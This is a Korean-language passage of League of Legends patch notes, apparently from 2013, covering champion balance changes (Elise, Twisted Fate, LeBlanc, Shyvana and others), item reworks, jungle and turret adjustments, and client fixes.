요약: 새끼거미가 전체적으로 덜 튼튼하게 변경되었습니다. 특히 방어구 관통력을 쌓은 챔피언들에게 취약해졌습니다. 또한, 줄타기 시전 후 새끼거미들이 엘리스보다 나중에 착지하게 되었습니다. 따라서 포탑에게 공격당하는 도중 줄타기를 시전했을 경우, 주위에 아군 미니언이 없다면 착지한 뒤에 다시 포탑의 공격을 받을 것입니다. 이전에는 새끼거미들이 먼저 착지하여 엘리스 대신 포탑에게 공격 받았습니다. 그리고 줄타기 시전 시 엘리스가 표시되는 범위 바깥으로 나갈 수 없도록 수정되었습니다.

설명: 엘리스는 스킬 구성이 전반적으로 강력했기 때문에 프로 경기에서 최우선적으로 선택되곤 했습니다. 일부 스킬의 피해량을 하향하는 방안을 고려했으나, 상대하는 입장에서 그보다 더 곤혹스러운 면들을 먼저 수정하기로 했습니다. 구체적으론, 엘리스의 새끼거미들을 덜 튼튼하게 만들어 피해 흡수를 위해 이용될 수 있는 측면을 줄였습니다. 이번 변경으로 엘리스를 상대할 때 대응책의 폭이 약간 더 넓어질 것입니다. 엘리스 플레이어들은 거미떼 지속 효과를 좀 더 주의 깊게 활용하셔야 하겠죠.


줄타기 스킬의 경우는 범위가 생각외로 넓게 적용되는 부분을 수정했습니다. 처음 엘리스의 줄타기 스킬을 설계할 때 표시되는 범위보다 살짝 더 멀리 이동할 수 있도록 했지만, 이 때문에 엘리스를 상대하기가 지나치게 어려웠던 것 같습니다. 이번 변경으로, 엘리스가 줄타기로 누굴 덮칠 수 있는지 아닌지를 사거리 표시기로 좀 더 정확하게 확인하실 수 있을 것입니다.

• 새끼거미
o 체력이 125~550에서 90~260으로 감소했습니다.
o 방어력이 30에서 30/50/70/90으로 증가했습니다. (거미 형태 스킬 레벨에 비례)
o 마법 저항력이 50에서 50/70/90/110으로 증가했습니다. (거미 형태 스킬 레벨에 비례)
o 광역 공격 피해량 감소율이 10/20/30/40%에서 25%로 변경됐습니다.
o 시야 반경이 700에서 400으로 감소했습니다.
o 엘리스가 인간 형태로 돌아갈 때 새끼거미들이 즉시 행동을 멈추고 사라지도록 수정됐습니다.
o 새끼거미들이 좀 더 자기들끼리 가까이 모여 다니도록 변경됐습니다.
• 위험한 새끼 거미
o 이동 속도가 감소했습니다. 
• 줄타기
o 이제 엘리스가 표시 영역 바깥에 착지할 수 없게 되었습니다.
o 강하 시 엘리스가 아직 대상으로 지정할 수 없는 상태인 채로 스킬을 사용하거나 공격을 할 수 있었던 버그를 수정했습니다.
o 이제 새끼거미들이 엘리스와 동시에 강하하지 않고, 줄타기 상태에서 엘리스보다 살짝 늦게 내려오도록 변경되었습니다.

우디르
o 정령 수호자 우디르 스킨에 사망 시 애니메이션이 추가됐습니다.

워윅
• 무한의 구속
o 적 챔피언에 의해 스킬이 중단된 후에도 계속해서 피해를 입히던 버그를 수정했습니다.

자크
• 새총 발사
o 피해량이 80/130/180/230/280에서 80/120/160/200/240으로 줄었습니다.

카서스
• 황폐화
o 죽음 극복 상태에서 사거리 바깥에 사용하면 최대 사거리 지점에 시전되도록 변경됐습니다.
• 부패
o 주문력 계수가 0.25에서 0.2로 감소했습니다.
o 재사용 대기시간 감소를 통해 부패를 빠르게 끄고 켜서 피해량을 증가시킬 수 있었던 버그를 수정했습니다.

트위스티드 페이트
요약: 속임수 주사위가 더 이상 팀원 모두에게 추가 골드를 제공하지 않는 대신, 적 처치 시마다 트위스티드 페이트 자신에게 1~6골드가 들어오도록 변경됐습니다. 카드 뽑기도 변경되었습니다. 이전엔 카드를 선택하고 던지는 두 가지 행동에 상당한 시간이 한 번에 주어졌지만, 이제 카드를 뽑은 후 던지기까지의 시간이 카드를 뽑는 시간보다 짧게 주어지도록 변경됐습니다.

설명: 속임수 주사위는 그 자체로 강력해 보이진 않았지만 트위스티드 페이트와 그가 속한 팀에 은연중에 상당히 힘을 실어주는 지속 효과였습니다. 이를 게임 내내 트위스티드 페이트에게 더 많은 골드를 제공함으로써, 캐릭터성 측면에서 트위스티드 페이트의 다른 스킬과 좀 더 어울리도록 변경했습니다.

카드 뽑기 변경은 좀 더 다양한 대응책이 나올 수 있게 하는 것이 목적입니다. 이전까지는 많은 트위스티드 페이트 플레이어들이 1, 2초 동안에 카드를 뽑은 후 남은 제한시간 동안 뽑힌 카드를 들고 서서 적을 위협하는 플레이를 했습니다. 이번 변경을 통해 카드 뽑기를 활용할 수 있는 전체 시간은 좀 더 늘어났지만, 한 번 카드를 뽑으면 행동하기까지 주어지는 시간이 더 짧아졌습니다.

• 속임수 주사위 (리메이크)
o 적 유닛 처치 시, 트위스티드 페이트는 주사위를 던져 1에서 6사이의 추가 골드를 얻습니다. 당연하게도, 높은 숫자가 나올 확률이 좀 더 높습니다.
• 카드 뽑기
o 이전엔 카드를 선택하고 선택한 카드를 던지는 데에 합쳐서 10초가 주어졌으나, 이제 카드를 뽑는 데 8초, 던지기까지 4초가 주어집니다.

피들스틱
• 까마귀 폭풍
o 이제 내셔 남작, 드래곤, 썩은 아귀의 마법 저항력을 감소시키지 않습니다.

피즈
• 장난치기/재간둥이
o 간혹 빠르게 사용할 때 피해를 입히지 않던 버그를 수정했습니다.


챔피언 일반 변경사항 
• 돌진 스킬이 있는 챔피언들이 도발 당한 상태에서 해당 스킬을 사용할 수 없도록 변경되었습니다. (잭스의 도약 공격, 카타리나의 순보, 쉔의 그림자 돌진)
• 피해 무효화 또는 피해 흡수 보호막(케일의 중재, 뽀삐의 외교관 면책 특권, 모르가나의 칠흑의 방패, 방어막 등)이 적용된 적 챔피언에게 기본 공격을 가했지만 보호막을 파괴하지 못한 경우에도 해당 챔피언이 특정 시간 안에 사망하면 어시스트가 기록되도록 변경되었습니다.

챔피언 음성 (한국)
• 플레이어 여러분의 의견을 반영해 바루스, 뽀삐, 신드라의 음성을 리뉴얼하였습니다.
• 바루스(빛의 바루스 포함), 뽀삐: 음성 전체를 새로 녹음하였습니다.
• 신드라: 기존 음성의 사운드 이펙트를 수정했습니다.


아이템


마법 저항력 아이템
요약: 정령의 형상이나 밴시의 장막으로 업그레이드 할 수 있는 새로운 중급 마법 저항력 아이템이 도입되었습니다.

설명: 마법 저항력이 오오라에 크게 의존하던 상황에서, 이를 다시 개인 능력치로 자리매김하고자 했습니다. (아래 룬 방벽 변경 내용 참조) 이번 변경을 통해, 게임 중반 지속적으로 마법 피해를 입히는 적을 상대하는 플레이어들이나 게임 후반 장거리 견제를 주무기로 삼는 팀을 상대하는 탱커들에게 아이템 선택의 폭을 넓힐 수 있을 것입니다.


• 신규 아이템: 망령의 두건
o 재료 아이템: 루비 수정 + 음전자 망토 + 205골드 = 총 가격 1400골드
o 체력 +200
o 마법 저항력 +45
o고유 지속 효과: 적 챔피언에게 피해를 입으면 최대 10초 동안 5초당 체력 재생이 15 증가합니다.

• 정령의 형상
o 재료 아이템 변경: 망령의 두건 + 점화석 + 375골드 = 총 가격 2625골드 (2200에서 변경)
o 체력이 200에서 400으로 늘었습니다.
o 마법 저항력이 45에서 55로 증가했습니다.
o 5초당 체력 회복 +20이 추가되었습니다.

• 밴시의 장막
o 재료 아이템 변경: 망령의 두건 + 루비 수정 + 875골드 = 총 가격 2750골드 (2520에서 변경)
o 체력이 400에서 450으로 늘었습니다.
o 마법 저항력이 45에서 55로 증가했습니다.
o 마나가 300에서 0으로 감소했습니다.
o 추가 고유 지속 효과: 적 챔피언에게 피해를 입거나 주문 방어막이 파괴되면 최대 10초 동안 5초당 체력 재생량이 45 증가합니다.

• 수호 천사
o 재료 아이템 변경: 음전자 망토 + 쇠사슬 조끼 + 1310골드 = 총 가격 2750골드 (2600에서 변경)
o 마법 저항력이 30에서 40으로 증가했습니다.
• 룬 방벽과 강철의 솔라리 펜던트
요약: 룬 방벽은 게임에서 삭제되었습니다. 강철의 솔라리 펜던트는 군단의 방패에서 업그레이드되도록 변경되었습니다.

설명: 모든 게임에서 군단의 방패나 룬 방벽을 구입해야만 한다는 부담을 덜어드리려 했습니다. 군단의 방패와 강철의 솔라리 펜던트를 합침으로서, 팀전을 위한 광역 피해 감소 아이템으로서 전략적으로 선택될 수 있도록 하였습니다.


• 군단의 방패
o 조합 비용이 625 골드에서 375 골드로 감소했습니다. (총 골드 가격은 2150에서 1900으로 감소)
o 체력이 250에서 200으로 감소했습니다.
o 이제 사용자 자신의 마법 저항력이 증가하지 않습니다.
o 고유 오오라 - 군단:
- 이제 방어력이 증가하지 않습니다.
- 마법 저항력이 15에서 20으로 증가했습니다.
- 이제 아군 미니언에 대해 추가 효과를 제공하지 않습니다.

• 룬 방벽
o 게임에서 삭제되었습니다.

• 강철의 솔라리 펜던트
o 재료 아이템 변경: 군단의 방패 + 600골드 = 총 골드 가격 2500골드
o 체력 +300
o 방어력 +20
o 재사용 대기시간 감소 +10%
o 고유 사용 효과 유지
o 이제 고유 오오라 - 군단 효과를 제공합니다.

• 몰락한 왕의 검
o 사용 효과의 가속/둔화 지속 시간이 4초에서 3초로 감소했습니다.

• 파수꾼의 갑옷
o 지속 효과의 둔화 지속 시간이 1.5초에서 1초로 감소했습니다.
o 총 골드 가격이 1100에서 1000으로 감소했습니다.

• 란두인의 예언
o 지속 효과의 둔화 지속 시간이 1.5초에서 1초로 감소했습니다.
o 총 골드 가격이 3100에서 3000으로 감소했습니다. 조합 비용은 변하지 않았습니다.

• 얼어붙은 심장
o 총 골드 가격이 3000에서 2900으로 감소했습니다. 조합 비용은 변하지 않았습니다.

• 신규 아이콘
게임 내 다음 아이템들의 아이콘이 변경되었습니다.

o 심연의 홀
o 수호자 카탈리스트
o 죽음불꽃 손아귀
o 빙하의 장막
o 기괴한 가면
o 마법공학 리볼버
o 가시 갑옷
o 흡혈의 낫




소환사의 협곡
정글 몬스터

요약: 고대 골렘과 도마뱀 장로를 제외한 정글 몬스터들의 최초 생성 시간이 더 늦춰집니다. 또한 고대 골렘과 도마뱀 장로의 경험치 일부를 덜어내 새끼 도마뱀들에게 옮겼습니다. 따라서 이제 정글 사냥꾼들은 이로운 효과를 주는 몬스터만 쓰러뜨리지 않고 작은 몬스터들까지 모두 사냥해야 2레벨이 될 수 있습니다.

설명: 3.8 패치에서의 정글 변경이 의도된 변화를 일으키기에는 부족했던 것 같습니다. 따라서 애초의 목표를 달성하기 위해 최초 생성 시간을 좀 더 늦추고, 이에 따른 부작용을 해소하려 했습니다.

특히 게임 초반에, 정글 사냥꾼이 적 팀 정글의 고대 골렘이나 도마뱀 장로만을 강타로 사냥한 후 도망치거나, 여기서 얻은 즉각적인 레벨 우위를 이용해 상대를 처치하는 방법으로 정면 대결을 벌이지 않고도 적 정글 사냥꾼을 완전히 무력화시키는 것이 가능했습니다. 게임 초반의 적극적인 침투가 전략적으로 중요한 가치를 갖는 것은 바람직합니다만, 그렇게 하는 데엔 적절한 위험이 따라야 합니다.


• 망령
o 최초 생성 시간이 1:55에서 2:05로 늦춰졌습니다.
• 늑대
o 최초 생성 시간이 1:55에서 2:05로 늦춰졌습니다.
• 거대한 늑대
o 처치 시 기본 경험치 획득량이 153에서 170으로 늘었습니다.
• 골렘
o 최초 생성 시간이 1:55에서 2:05로 늦춰졌습니다.
• (큰) 골렘
o 처치 시 기본 경험치 획득량이 137에서 160으로 늘었습니다.
• 고대 골렘
o 처치 시 기본 경험치 획득량이 340에서 260으로 줄었습니다.
o 기본 체력이 1500에서 1400으로 줄었습니다.
• 도마뱀 장로
o 처치 시 기본 경험치 획득량이 340에서 260으로 줄었습니다.
o 기본 체력이 1500에서 1400으로 줄었습니다.
• 새끼 도마뱀
o 처치 시 기본 경험치 획득량이 10에서 50으로 늘었습니다.
o 체력이 300에서 400으로 늘었습니다.

내셔 남작
요약: 이제 내셔 남작이 탐식성 부식(내셔 남작이 자신이 공격하는 챔피언에게 거는 해로운 효과)을 통해 대상의 공격력을 직접 깎지 않고, 해당 효과가 적용된 대상으로부터 받는 물리 및 마법 피해량을 감소시킵니다.

설명: 몇몇 소수의 챔피언들은 지속적으로 마법 피해를 입히는 스킬을 통해 단독으로 너무 쉽게 내셔 남작을 사냥할 수 있었습니다. 이번 변경으로 전반적으로 좀 더 균형을 맞추고자 했습니다. 다만, 탐식성 부식이 공격력 자체를 전반적으로 낮추지 않고 내셔 남작 자신에게 가해지는 피해만을 줄임으로써, 내셔 남작 사냥을 먼저 사냥하는 팀이 내셔 남작 주위에서 공방전이 벌어질 경우 이전보다 덜 불리해지는 효과가 생길 수 있습니다. 앞으로 좀 더 지켜본 후, 해당 사안이 상당한 문제가 될 경우 조치할 예정입니다.

• 탐식성 부식
o 이제 대상의 공격력을 50% 감소시키지 않습니다.
o 이제 대상이 내셔 남작에게 가하는 물리 및 마법 피해를 50%로 감소시킵니다.

포탑
요약: 게임 극초반에 공격로를 전진 압박해 포탑을 파괴하기가 더 어려워졌습니다. 또한 보라 팀 내부 포탑의 방어력이 설계보다 살짝 높게 적용되던 버그를 수정했습니다.

설명: 맵 상 공격 목표가 게임 전체에서 전략적으로 매우 중요하며, 특정 조합으로 초반에 포탑을 파괴하기가 쉬웠기 때문에 특히 프로 경기에서 공격로 전투 단계가 완전히 생략되는 경우가 있었습니다. 궁극적으로 이 전략을 완전히 배제하려는 것은 아니지만, 지나치게 위력적인 전략이었기 때문에 공격로에서 강력한 많은 챔피언들이 소외되는 결과가 나타났습니다. 이번 변경으로 초반에 포탑을 파괴하는 데 집중하는 공격적인 전략을 완전히 쓸모 없게 만들지 않는 한에서 좀 더 위험부담이 따르도록 하려 했습니다.

좀 더 설명을 드리면, 특히 보라 팀 내부 포탑에 설계보다 10 높은 방어력이 적용됐다는 부분을 비롯해 아래 수치들이 좀 높게 느껴질 수도 있지만, 애초에 포탑 방어력은 챔피언들에 비해 훨씬 높은 수치로 시작하기 때문에 이번 변경이 생각만큼 큰 변화는 아닙니다.


• 외곽 포탑은 이제 게임 시작 시 60의 추가 방어력을 얻습니다. 이 추가 방어력은 4분부터 감소하기 시작해 4분 동안 감소합니다.
• 외곽 포탑의 기본 방어력이 54에서 60으로 증가했습니다.
• 이제 외곽 포탑의 방어력이 게임 시작 후 8분 동안 증가하지 않습니다.
• 보라 팀 내부 포탑의 방어력이 설계보다 10 높게 적용되던 버그를 수정했습니다.

뒤틀린 숲과 수정의 상처 
 
일반 변경 사항
요약: 해당 맵 게임 모드에서 쓸데없이 큰 지팡이와 죽음불꽃 손아귀가 삭제됐습니다. 대신 리안드리의 고통과, 추적자의 팔목 보호대, 중간 단계의 방어적인 주문력 아이템인 달빛 마법검 등 중급 주문력 아이템들이 추가됐습니다. 이제 어둠불꽃 횃불은 죽음불꽃 손아귀와 동일한 사용 시 효과를 지닙니다.

설명: 이번 주문력 아이템 개편은 뒤틀린 숲과 수정의 상처에서 주문력 챔피언들의 효용과 생존력을 높이기 위한 조치입니다. 쓸데없이 큰 지팡이와 이를 재료로 하는 죽음불꽃 손아귀는 해당 맵에서 골드를 모아 구입하기가 지나치게 어려웠기 때문에 삭제됐습니다. 달빛 마법검과 추적자의 팔목 보호대의 추가로 게임 초중반의 생존력에 도움이 될 것입니다.


• 쓸데없이 큰 지팡이가 삭제됐습니다.
• 죽음불꽃 손아귀가 삭제됐습니다.
• 리안드리의 고통이 추가됐습니다.
• 추적자의 팔목 보호대가 추가됐습니다.

• 아이템 재도입: 달빛 마법검 (원거리 전용)
o 재료 아이템: 추적자의 팔목 보호대 + 음전자 망토 + 420골드 = 총 가격 2300골드
o 주문력 +50
o 방어력 +50
o 마법 저항력 +50
o 고유 지속 효과 - 강인함: 기절, 둔화, 도발, 공포, 침묵, 실명 및 이동 불가 효과의 지속 시간이 35% 감소됩니다.
• 어둠불꽃 횃불
o 리메이크: 방출의 마법봉 + 악마의 마법서 + 720골드 = 총 가격 2400골드
o 주문력 +80
o 재사용 대기시간 감소 +10%
o 고유 사용 효과: 6초 동안 대상 적 챔피언의 최대 체력의 20%에 해당하는 마법 피해를 입히며, 해당 챔피언이 받는 모든 마법 피해를 20% 증가시킵니다. (재사용 대기시간 60초)
• 우글렛의 마녀 모자
o 재료 아이템 변경: 추적자의 팔목 보호대 + 방출의 마법봉 + 증폭의 고서 + 1045골드 = 총 가격 3500골드
o 방어력이 40에서 45로 증가했습니다.
• 버그 수정
o 썩은 아귀가 사정거리 100 이상의 근접 챔피언에게 근접 공격을 가하지 않던 버그를 수정했습니다.
o 플레이어들이 둥지를 떠날 때 썩은 아귀가 경련하던 버그를 수정했습니다.
o 하급 망령의 체력이 시간 경과에 비례해 증가하지 않던 버그를 수정했습니다.

일반 


챔피언 검색 분류명
요약: 챔피언 검색 분류명이 팀에서 각각의 챔피언이 수행하는 역할과 초보자에게 추천되는 플레이 스타일을 더 정확하게 반영하도록 수정했습니다. 앞으로도 계속해서 챔피언 분류와 게임 클라이언트 내 표시 방식을 개선해 나갈 예정입니다. 

• 이제 챔피언은 다음 중 가장 주가 되는 역할 하나로 분류됩니다.
o 암살자, 근접 딜러, 마법사, 원거리 딜러, 서포터, 탱커
• 게임 클라이언트 상에서 변경된 역할명을 확인하실 수 있습니다.

빠른 대전 취소 페널티
요약: 플레이어들이 더 빠르게 게임에 입장하실 수 있도록, 빠른 대전으로 검색한 게임을 여러 번 수락하지 않는 플레이어는 일시적으로 대기열에서 제외됩니다. 이를 통해 빠른 대전 게임을 시작하는 데 걸리는 시간을 줄이고, 아주 가끔 발생하는 고의적 악용 사례를 차단할 수 있을 것입니다. 

• 빠른 대전으로 게임 검색 후 여러 번 수락하지 않으면, 다른 플레이어들에게 불편을 초래하지 않도록 일정 시간동안 빠른 대전 검색을 할 수 없게 됩니다.
• 가끔 한 번씩 수락을 누르지 못하는 등 일반적인 경우에는 이 페널티가 적용되지 않습니다.

채팅
• /소거(/mute) 명령어가 작동하지 않던 버그를 수정했습니다.
• 대상 플레이어가 친구 목록에 없으면 "/소거 [챔피언 이름]" 명령어를 사용할 수 없었던 버그를 수정했습니다.


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출처: 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=86


2013년 7월 17일(수) 패치 노트




챔피언


나서스

• 흡수의 일격

  o 추가 피해량이 나서스에게 부여된 지속 효과로 표시됩니다.

 

노틸러스

• 닻줄 견인

  o 이제 일부 벽을 넘을 수 없습니다.

 

누누

잡아먹기의 피해량을 전반적으로 하향하여 1레벨에선 소환사 주문 강타보다 강력하지 않게 했습니다.

• 레벨당 체력 증가량이 108에서 96으로 줄었습니다.

• 잡아먹기

  o 피해량이 600/700/800/900/1000에서 500/625/750/875/1000으로 줄었습니다.

 

드레이븐 

게임 밸런스를 맞추기 위해 기본 지속 효과를 이용한 게임 초반 피해량을 하향하려 했습니다만, 적절하게 밸런스가 맞을 정도로 수치를 내리면 드레이븐 게임 플레이 만족도가 지나치게 떨어진다는 결론을 내렸습니다. 따라서, 수치를 조정하는 대신 드레이븐의 기본 지속 효과를 완전히 리메이크하기로 했습니다. 드레이븐의 캐릭터와 게임 플레이에 매우 어울리고, 적들조차도 시기하며 박수칠 만큼 재미있는 기본 지속 효과를 만들었습니다. 드레이븐의 리그에 오신 것을 환영합니다!

• 드레이븐의 리그 (새 기본 지속 효과)

  o 드레이븐이 회전 도끼를 잡거나 미니언 또는 몬스터를 처치할 때마다 팬들의 환호 중첩이 쌓입니다.

     드레이븐이 적 챔피언을 처치하면 팬들의 환호 중첩의 절반을 소모하여 중첩 하나당 3골드를 얻습니다.

     드레이븐이 사망하면 중첩 절반이 사라집니다. 

 

르블랑

모방 스킬을 어떻게 쓸지 생각하게 되는 경우는 별로 없었습니다. 침묵의 인장으로 상대를 단숨에 쓰러뜨리기 위한 단순한 수단에 가까웠죠. 이번 변경으로 다른 스킬을 모방하는 것도 못지 않게 재미있어질 것입니다. 우선 스킬을 모방하면 모방된 스킬의 피해량을 증폭시키는 대신 모방 스킬의 자체 기본 피해량이 적용됩니다. 침묵의 인장을 쓰기 위해 모방을 아껴놓기만 하는 대신 6레벨에도 좀 더 창의적으로 사용할 수 있다는 뜻입니다. 또한 침묵의 인장도 처음 적중시켰을 때의 피해량을 하향하고 인장을 작동시켰을 때의 피해량을 상향하여 르블랑의 다양한 스킬을 연계하는 플레이 스타일에 좀 더 어울리도록 했습니다.

• 거울 환영

  o 이제 분신이 가만히 서 있지 않고 도망가려 합니다.

• 침묵의 인장

  o 마나 소모가 70/75/80/85/90에서 50/60/70/80/90으로 줄었습니다.

  o 피해량이 처음 적중 시와 인장 폭발 시 모두 55/80/105/130/155 (+0.4 주문력)으로 변경되었습니다.

  o 변경 전 적중 시 피해량은 70/110/150/190/230 (+0.6 주문력)이었습니다.

  o 변경 전 인장 피해량은 20/40/60/80/100 (+0.2 주문력)이었습니다.

  o 침묵 지속 시간이 2초에서 1.5초로 줄었습니다.

• 왜곡

  o 이제 재사용 대기시간이 시전 위치로 돌아갔을 때가 아니라 사용 즉시 시작됩니다.

  o 마나 소모가 80에서 80/90/100/110/120으로 늘었습니다.

  o 왜곡 시전 위치가 전장의 안개 속에서도 보이던 버그가 수정되었습니다.

• 환영 사슬

  o 둔화 지속 시간(속박될 때까지의 시간)이 2초에서 1.5초로 줄었습니다.

  o 속박 지속 시간이 1/1.3/1.6/1.9/2.2초에서 1.5초로 줄었습니다.

  o 재사용 대기 시간이 10초에서 14/13/12/11/10초로 늘었습니다.

• 모방

  o 마나 소모가 100/50/0에서 0으로 줄었습니다.

  o 스킬을 모방하면 해당 스킬의 피해량을 증폭시키지 않고 대신 모방 스킬의 자체 기본 피해량이 적용됩니다.

• 모방: 침묵의 인장

  o 이제 적중 시와 인장 폭발 시 각각 100/200/300 (+0.65 주문력)의 피해를 입힙니다.

• 모방: 왜곡

  o 이제 재사용 대기시간이 시전 위치로 돌아갔을 때가 아니라 사용 즉시 시작됩니다.

  o 피해량이 150/300/450 (+0.975 주문력)으로 변경되었습니다.

• 모방: 환영 사슬

  o 이제 명중 시, 그리고 대상이 속박 당할 때 한 번 더 100/200/300 (+0.65 주문력)의 피해를 입힙니다.

 

리븐

• 부러진 날개

  o  3번 넘게 연계할 수 있던 버그를 수정했습니다.

 

마스터 이

• 2연속 공격

  o 구인수의 격노검 중첩이 2개씩 쌓이지 않던 버그를 수정했습니다.

 

말자하

• 공허의 부름

  o 제대로 스킬 적용 범위 전체의 시야를 제공하도록 수정했습니다.

  o 이제 스킬에 피해를 입은 대상을 모두 드러냅니다.

• 재앙의 환상

  o 쓰러지면 좀비화하는 챔피언(예: 카서스, 코그모, 자이라 등)에 걸려 있을 때도 주변 적에게 옮겨가도록 수정했습니다.

 

모르가나

• 어둠의 속박

  o 은신한 챔피언을 제대로 속박하지 않던 버그를 수정했습니다.

 

베인

• 결전의 시간

  o 베인이 기본 공격을 하면 제대로 은신이 풀리도록 수정되었습니다.

 

브랜드

• 화염 기둥

  o 마나 소모가 70/80/90/100/110에서 70/75/80/85/90으로 줄었습니다.

• 발화

  o 마나 소모가 60/65/70/75/80에서 70/75/80/85/90으로 늘었습니다.

• 파멸의 불덩이

  o 마나 소모가 100/150/200에서 100/100/100으로 줄었습니다.

 

• 기의 일격

  o 게임 시작 시 시각 효과가 제대로 나타나지 않던 버그를 수정했습니다.

 

쉬바나

화염 숨결을 주요 목표물 장악과 정글 사냥 속도 향상을 위한 핵심 스킬로 자리매김하고, 이후 기본 공격을 연계해 튼튼한 적들을 ‘태워서 쓰러뜨리는’ 활용법도 강조하고자 했습니다. 또한 용 형상일 때 연소 스킬에 추가 공격력 계수가 적용되지 않던 오래된 버그도 수정했습니다. 또한 분노 생성량을 높이고 분노 감소율을 낮추었습니다. 이번 변경으로 게임 후반 팀전에서 쉬바나가 좀더 강력해질 것입니다. 그리고 기본 지속 효과의 설명을 스킬 툴팁으로 옮겨 필요한 정보를 한 눈에 볼 수 있도록 했습니다.

• 용족의 분노 – 리메이크 되었습니다. 용족의 분노 효과는 모두 각각 해당하는 스킬 설명으로 옮겨졌습니다.

  o 용족 – 쉬바나의 방어력과 마법 저항력이 5/10/15/20만큼 증가합니다. 용 형상일 때는 추가 방어력과 마법 저항력이 2배로 늘어납니다.

• 화염 숨결

  o 이제 방어력을 15% 감소시키지 않습니다.

  o 처음 맞은 대상에서 멈추지 않고 적중한 유닛을 모두 관통합니다.

  o 해로운 효과 지속시간이 4초에서 5초로 늘었습니다.

  o 피해량이 80/125/170/215/260에서 80/115/150/185/220으로 줄었습니다.

  o 해로운 효과가 적용된 대상에 대한 적중 시 추가 마법 피해량이 화염 숨결 피해의 15% (12/18.75/25.5/32.25/39 + 0.09 주문력)에서 대상 최대 체력의 2%로 변경되었습니다.

• 연소

  o 쉬바나가 용 형상일 때 공격력 계수가 적용되지 않던 버그를 수정했습니다.

• 용의 강림

  o 방어력, 마법 저항력을 증가시켜주던 기본 지속 효과가 삭제됐습니다.

  o 1.5초당 분노 생성량이 1에서 1/2/3으로 늘었습니다.

  o 용 형상일 때의 분노 감소량이 초당 6에서 5로 줄었습니다.

 

쓰레쉬

• 사형 선고를 한 번 사용하면 툴팁에 죽음의 질주 스킬이 표시됩니다.

 

오리아나

• 명령: 보호

  o 구체가 아군 챔피언을 따라다니다 오리아나에게 돌아오게 되는 거리를 표시하는 범위 표시가 생겼습니다.

 

이블린

• 고통스런 포옹

  o 스킬 면역인 대상밖에 맞추지 못해도 충만 효과와 이에 해당하는 시각 효과가 보이는 버그가 수정되었습니다. (시각 효과만 변경되었습니다)

 

자크

• 새총 발사

  o 조준함으로써 주문 보호막을 먼저 깨뜨릴 수 있었던 버그를 수정했습니다.

 

잔나

• 계절풍

  o 효과 아이콘 카운트다운이 4초간의 집중 시간에 정확하게 대응하지 않던 버그를 수정하였습니다.

 

제이스

가속 관문의 재사용 대기시간을 늘림으로써, 전격 폭발 + 가속 관문 연계기의 위력을 유지하면서도 견제 및 회피 능력을 하향하도록 했습니다. 또한, 게임 후반이 되면 전격 폭발을 항상 가속시킬 수 없게 되므로 전격 폭발 투사체의 기본 속도를 증가시켜 단독으로 사용할 때 좀 더 효과적이게 변경했습니다.

• 전격 폭발

  o 투사체 기본 속도가 1350에서 1450으로 증가했습니다. (가속시킨 투사체 속도는 이전과 동일합니다)

• 가속 관문

  o 재사용 대기시간이 14/13/12/11/10에서 16초로 증가했습니다.

 

직스

즉각 폭발시키든, 전장에서 적의 움직임을 제한하기 위해 위협용으로 사용하든, 휴대용 폭약을 좀 더 쉽게 공격적으로 활용하고 이를 통해 더 큰 이득을 얻을 수 있도록 했습니다. 또한, 네트워크 속도가 중간 이상일 때는 사용하기가 훨씬 용이하도록 변경됐습니다.

• 휴대용 폭약

  o 이제 폭약이 날아가는 도중 재사용하여 착지하자마자 폭발하도록 할 수 있습니다.

  o 투사체 속도가 1600에서 1750으로 증가했습니다.

  o 밀어내는 거리가 350에서 400으로 증가했습니다.

  o 재사용 대기시간이 폭발 시가 아니라 시전 시에 시작됩니다.

 

코르키

코르키 플레이어들로부터 인광탄의 마나 소모가 커 마나가 지나치게 부족하다는 의견이 많았기 때문에 스킬 조정을 검토했습니다. 그러나 인광탄에 대한 뾰족한 대응 방법이 없는 만큼 소모값이 큰 것은 적당하다는 결론을 내렸습니다. 대신, 일부 다른 스킬의 소모값을 줄여 전반적인 마나 부족을 완화하고자 하였습니다.

• 발키리

  o 마나 소모가 100에서 50으로 줄었습니다.

• 미사일 폭격

  o 마나 소모가 30/35/40에서 20으로 줄었습니다.

 

케일

• 정의로운 분노

  o 이제 포탑이 해당 스킬의 광역 피해를 입지 않습니다.

 

케넨

요들 장인이 만든 표창이 너무 날카로웠던 것 같습니다. 케넨은 후반 팀전에서의 위력 또한 뛰어난 만큼 초반 공격로에서의 견제력을 약간 하향했습니다.

• 1레벨 기본 공격력이 54.6에서 50.5로 감소했습니다.

• 폭풍의 표식

  o 표식 지속 시간이 8초에서 6초로 감소했습니다.

 

트위치

• 매복

  o 수호 천사나 시간 역행이 활성화돼 있을 때 은신 상태로 부활할 수 있었던 버그를 수정했습니다.

 

판테온

• 투창

  o 남은 체력이 15% 미만인 적을 공격할 때 치명타 피해량 추가 효과가 적용되지 않던 버그를 수정했습니다.

 

헤카림

• 회오리 베기

  o 마나 소모가 25에서 24/28/32/36/40로 늘어났습니다.

 

 

챔피언 일반 변경사항 

몇몇 챔피언들은 맵을 돌아다니며 끊임없이 형태를 바꿈으로써 마나를 소모하지 않고도 완전히 충전된 여신의 눈물 계열 아이템(무라마나, 대천사의 포옹 등)을 지나치게 일찍 손에 넣을 수 있었습니다.

다음 스킬들은 이제 여신의 눈물이나 광휘의 검 등의 아이템 효과와 관련해 스킬 사용으로 판정되지 않습니다.

• 엘리스 – 거미 형태/인간 형태

• 니달리 – 쿠거의 상

• 제이스 – 변환: 머큐리 캐논/변환: 머큐리 해머 

 

스킬 시전 시점과 효과 발동 시점에 차이가 있는 몇몇 스킬의 발동 지연 시간이 일관성 있게 적용되도록 수정했습니다.

다음 스킬들의 발동 지연 시간이 고정되었습니다.

• 브랜드의 화염 기둥 발동 지연 시간이 0.625초로 고정되었습니다.

• 레오나의 흑점 폭발 발동 지연 시간이 0.625초로 고정되었습니다.

• 스웨인의 부동진 발동 지연 시간이 0.875초로 고정되었습니다.

• 베이가의 암흑 물질 발동 지연 시간이 1.25초로 고정되었습니다.

 

탈진

군중 제어기 면역 상태의 챔피언에게 사용하면 ‘둔화 효과 면역!’ 메시지만 표시됩니다.

 

접속 종료

군중 제어기를 맞은 상태에서 소환사의 접속이 끊어진 챔피언이 소환사의 제단으로 돌아가지 않던 버그가 수정되었습니다.

 

배경 스토리

마스터 이와 가렌의 배경 스토리가 다시 번역되었습니다. 내용 변화는 없습니다.

 

아이템

